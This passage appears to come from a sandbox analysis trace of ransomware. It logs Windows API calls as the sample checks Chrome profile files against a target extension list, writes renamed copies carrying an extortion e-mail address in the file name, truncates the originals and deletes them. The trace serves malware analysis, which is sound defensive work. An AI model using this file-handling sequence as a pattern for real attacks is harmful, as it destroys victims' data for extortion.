(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.059] lstrlenW (lpString=".dbf") returned 4 [0177.059] lstrcmpiW (lpString1=".dbf", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.060] lstrlenW (lpString=".1cd") returned 4 [0177.060] lstrcmpiW (lpString1=".1cd", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.060] lstrlenW (lpString=".jpg") returned 4 [0177.060] lstrcmpiW (lpString1=".jpg", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.060] lstrlenW (lpString=".doc") returned 4 [0177.060] lstrcmpiW (lpString1=".doc", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString=".docx") returned 5 [0177.060] lstrcmpiW (lpString1=".docx", lpString2="ata_2") returned -1 [0177.060] lstrlenW (lpString=".pdf") returned 4 [0177.060] lstrcmpiW (lpString1=".pdf", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString=".xls") returned 4 [0177.060] lstrcmpiW (lpString1=".xls", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString=".xlsx") returned 5 [0177.060] lstrcmpiW (lpString1=".xlsx", lpString2="ata_2") returned -1 [0177.060] lstrlenW (lpString=".ppt") returned 4 [0177.060] lstrcmpiW (lpString1=".ppt", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.060] lstrlenW (lpString=".zip") returned 4 [0177.060] lstrcmpiW (lpString1=".zip", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString=".rar") returned 4 [0177.060] lstrcmpiW (lpString1=".rar", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString=".bz2") returned 4 [0177.060] lstrcmpiW (lpString1=".bz2", lpString2="ta_2") returned -1 [0177.060] lstrlenW (lpString=".7z") returned 3 [0177.060] lstrcmpiW (lpString1=".7z", lpString2="a_2") returned -1 [0177.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.061] lstrlenW (lpString=".dbf") returned 4 [0177.061] lstrcmpiW (lpString1=".dbf", lpString2="ta_2") returned -1 [0177.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.061] lstrlenW (lpString=".1cd") returned 4 [0177.061] lstrcmpiW (lpString1=".1cd", lpString2="ta_2") returned -1 [0177.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.061] lstrlenW (lpString=".jpg") returned 4 [0177.061] lstrcmpiW (lpString1=".jpg", lpString2="ta_2") returned -1 [0177.061] lstrlenW (lpString="index") returned 5 [0177.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.061] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=524656) returned 1 [0177.061] CloseHandle (hObject=0x2dc) returned 1 [0177.061] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index")) returned 0x2020 [0177.062] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.062] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.062] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0177.062] GetLastError () returned 0x0 [0177.062] ReadFile (in: hFile=0x2dc, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x80170, lpOverlapped=0x0) returned 1 [0177.078] WriteFile (in: hFile=0x1a4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x80180, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x80180, lpOverlapped=0x0) returned 1 [0177.377] ReadFile (in: hFile=0x2dc, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.377] WriteFile (in: hFile=0x1a4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xde, lpOverlapped=0x0) returned 1 [0177.377] SetEndOfFile (hFile=0x1a4) returned 1 [0177.377] CloseHandle (hObject=0x1a4) returned 1 [0177.377] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.378] SetEndOfFile (hFile=0x2dc) returned 1 [0177.383] CloseHandle (hObject=0x2dc) returned 1 [0177.383] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.383] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index")) returned 1 [0177.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.383] lstrlenW (lpString=".doc") returned 4 [0177.383] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0177.383] lstrlenW (lpString=".docx") returned 5 [0177.383] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0177.383] lstrlenW (lpString=".pdf") returned 4 [0177.383] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0177.383] lstrlenW (lpString=".xls") returned 4 [0177.383] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0177.383] lstrlenW (lpString=".xlsx") returned 5 [0177.383] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0177.383] lstrlenW (lpString=".ppt") returned 4 [0177.383] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.384] lstrlenW (lpString=".zip") returned 4 [0177.384] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString=".rar") returned 4 [0177.384] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString=".bz2") returned 4 [0177.384] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString=".7z") returned 3 [0177.384] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0177.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.384] lstrlenW (lpString=".dbf") returned 4 [0177.384] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.384] lstrlenW (lpString=".1cd") returned 4 [0177.384] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.384] lstrlenW (lpString=".jpg") returned 4 [0177.384] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.384] lstrlenW (lpString=".doc") returned 4 [0177.384] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString=".docx") returned 5 [0177.384] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0177.384] lstrlenW (lpString=".pdf") returned 4 [0177.384] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString=".xls") returned 4 [0177.384] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0177.384] lstrlenW (lpString=".xlsx") returned 5 [0177.384] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0177.385] lstrlenW (lpString=".ppt") returned 4 [0177.385] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.385] lstrlenW (lpString=".zip") returned 4 [0177.385] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString=".rar") returned 4 [0177.385] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString=".bz2") returned 4 [0177.385] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString=".7z") returned 3 [0177.385] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0177.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.385] lstrlenW (lpString=".dbf") returned 4 [0177.385] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.385] lstrlenW (lpString=".1cd") returned 4 [0177.385] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 87 [0177.385] lstrlenW (lpString=".jpg") returned 4 [0177.385] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0177.385] lstrlenW (lpString="CURRENT") returned 7 [0177.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.674] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=16) returned 1 [0177.674] CloseHandle (hObject=0x334) returned 1 [0177.675] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current")) returned 0x2020 [0177.675] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.675] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.675] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.675] GetLastError () returned 0x0 [0177.676] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x10, lpOverlapped=0x0) returned 1 [0177.676] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20, lpOverlapped=0x0) returned 1 [0177.677] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.677] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0177.678] SetEndOfFile (hFile=0x124) returned 1 [0177.678] CloseHandle (hObject=0x124) returned 1 [0177.678] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.678] SetEndOfFile (hFile=0x334) returned 1 [0177.679] CloseHandle (hObject=0x334) returned 1 [0177.679] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.679] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current")) returned 1 [0177.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.679] lstrlenW (lpString=".doc") returned 4 [0177.679] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0177.679] lstrlenW (lpString=".docx") returned 5 [0177.679] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0177.679] lstrlenW (lpString=".pdf") returned 4 [0177.679] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0177.679] lstrlenW (lpString=".xls") returned 4 [0177.679] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0177.679] lstrlenW (lpString=".xlsx") returned 5 [0177.679] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0177.679] lstrlenW (lpString=".ppt") returned 4 [0177.679] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.680] lstrlenW (lpString=".zip") returned 4 [0177.680] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString=".rar") returned 4 [0177.680] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString=".bz2") returned 4 [0177.680] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString=".7z") returned 3 [0177.680] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0177.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.680] lstrlenW (lpString=".dbf") returned 4 [0177.680] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.680] lstrlenW (lpString=".1cd") returned 4 [0177.680] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.680] lstrlenW (lpString=".jpg") returned 4 [0177.680] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.680] lstrlenW (lpString=".doc") returned 4 [0177.680] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString=".docx") returned 5 [0177.680] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0177.680] lstrlenW (lpString=".pdf") returned 4 [0177.680] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString=".xls") returned 4 [0177.680] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0177.680] lstrlenW (lpString=".xlsx") returned 5 [0177.680] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0177.681] lstrlenW (lpString=".ppt") returned 4 [0177.681] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.681] lstrlenW (lpString=".zip") returned 4 [0177.681] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString=".rar") returned 4 [0177.681] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString=".bz2") returned 4 [0177.681] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString=".7z") returned 3 [0177.681] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0177.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.681] lstrlenW (lpString=".dbf") returned 4 [0177.681] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.681] lstrlenW (lpString=".1cd") returned 4 [0177.681] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 112 [0177.681] lstrlenW (lpString=".jpg") returned 4 [0177.681] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0177.681] lstrlenW (lpString="MANIFEST-000001") returned 15 [0177.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.682] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=41) returned 1 [0177.682] CloseHandle (hObject=0x334) returned 1 [0177.682] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001")) returned 0x2020 [0177.682] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.682] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.682] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.685] GetLastError () returned 0x0 [0177.685] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x29, lpOverlapped=0x0) returned 1 [0177.685] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x30, lpOverlapped=0x0) returned 1 [0177.686] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.686] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0177.686] SetEndOfFile (hFile=0x124) returned 1 [0177.687] CloseHandle (hObject=0x124) returned 1 [0177.687] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, 